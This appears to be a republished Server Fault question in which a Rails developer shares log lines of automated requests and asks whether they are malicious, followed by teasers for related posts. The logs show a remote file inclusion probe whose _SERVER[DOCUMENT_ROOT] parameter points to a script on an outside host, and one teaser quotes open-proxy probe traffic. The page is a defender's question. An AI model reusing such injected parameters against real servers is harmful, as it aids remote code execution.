Strange requests coming from Korean Site

Posted by Jim Jeffers on Server Fault See other posts from Server Fault or by Jim Jeffers
Published on 2009-12-14T08:24:29Z Indexed on 2010/03/30 19:33 UTC
Read the original article Hit count: 509

Filed under:

hacking

|

routing

|

malicious

Lately I've been finding a lot of strange requests like this coming to my rails app:

Processing ApplicationController#index (for 189.30.242.61 at 2009-12-14 07:38:24) [GET]
  Parameters: {"_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???"}}

ActionController::RoutingError (No route matches "/browse/brand/nike  ///" with {:method=>:get}):

It looks like it's automated as I get a lot of them and notice the strange parameters they're trying to send:

_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???

Is this something malicious and if so what should I do about it?

© Server Fault or respective owner

Related posts about hacking

should i bother to block these- rather lame attempt at hacking my server

as seen on Server Fault - Search for 'Server Fault'
I'm running a LAMP stack, with no phpmyadmin (yes) installed. While poking through my apache server longs i noticed things like. 74.208.75.29 - - [16/Mar/2010:02:53:45 +0800] "POST http://74.208.75.29:6667/ HTTP/1.0" 404 481 "-" "-" 74.208.75.29 - - [16/Mar/2010:02:53:45 +0800] "CONNECT 74.208.75… >>> More
The newbie's guide to hacking the Linux kernel

as seen on Internet.com - Search for 'Internet.com'
<b>TuxRadar: </b>"We asked prolific kernel hacker (and Linux Format reader!) Greg Kroah-Hartman to tell us what it takes for newbies to patch the Linux kernel - here's what he had to say." >>> More
China Says Google Never Filed Complaint in Hacking Case

as seen on Internet.com - Search for 'Internet.com'
Confusion continues to muddle the Google/China saga, with Chinese officials saying they aren't -- and are -- in talks with Google about hacking and censorship allegations. >>> More
China Says Google Never Filed Complaint in Hacking Case

as seen on Internet.com - Search for 'Internet.com'
Confusion continues to muddle the Google/China saga, with Chinese officials saying they aren't -- and are -- in talks with Google about hacking and censorship allegations. >>> More
community of linux hackers

as seen on Super User - Search for 'Super User'
Do you know of any community of linux hackers. People who are into hacking from network to workstations. Linux hacking windows pc's and other platforms. Please do only tell sites wherein beginners could join. But if you know of any site that gives a jump start for beginners into hacking. Also tell. >>> More

Related posts about routing

Issue with Url Routing(System.Web.Routing) 3.5 in Godaddy...(non-MVC App)

as seen on Stack Overflow - Search for 'Stack Overflow'
Hi, I am using System.Web.Routing namespace in Asp.Net 3.5 non-mvc app. Its working perfect in local machine but I tried deploying in godaddy server it doesnt work Does anyone has experiece with them ? Thanks in Advance.. Deepu >>> More
cakephp routing problem, plugin routing works but not others

as seen on Stack Overflow - Search for 'Stack Overflow'
I'm having a strange routing problem with a site I just uploaded, and I've made a number of changes to test what's happening. It doesn't make any sense. My setup is: - I'm using one plugin, which I've included all the routing in the routes.php file. - I've also included the routes for two other… >>> More
Routing in php vs routing in rails..

as seen on Stack Overflow - Search for 'Stack Overflow'
I was working on php from past 1 yr and now a days i m learning rails. In rails:-- Routing takes an incoming URL and decodes it into a set of parameters that are used by Rails to dispatch to the appropriate controller and action for example rs.recognize_path "/blog/show/123" {:controller=>"blog"… >>> More
Why isn't ICMP routing with iptables nat routing

as seen on Server Fault - Search for 'Server Fault'
I'm using iptables on Ubuntu server to route a public IP to a private IP. I want to nat all traffic, including 80, 443 and ICMP. However, it appears that ICMP isn't routing. I have a steady ping going to the public IP and it never stops, even with NAT pointing to a bogus IP. Here are the rules… >>> More
An Introduction to ASP.NET Web API

as seen on West-Wind - Search for 'West-Wind'
Microsoft recently released ASP.NET MVC 4.0 and .NET 4.5 and along with it, the brand spanking new ASP.NET Web API. Web API is an exciting new addition to the ASP.NET stack that provides a new, well-designed HTTP framework for creating REST and AJAX APIs (API is Microsoft’s new jargon for a service… >>> More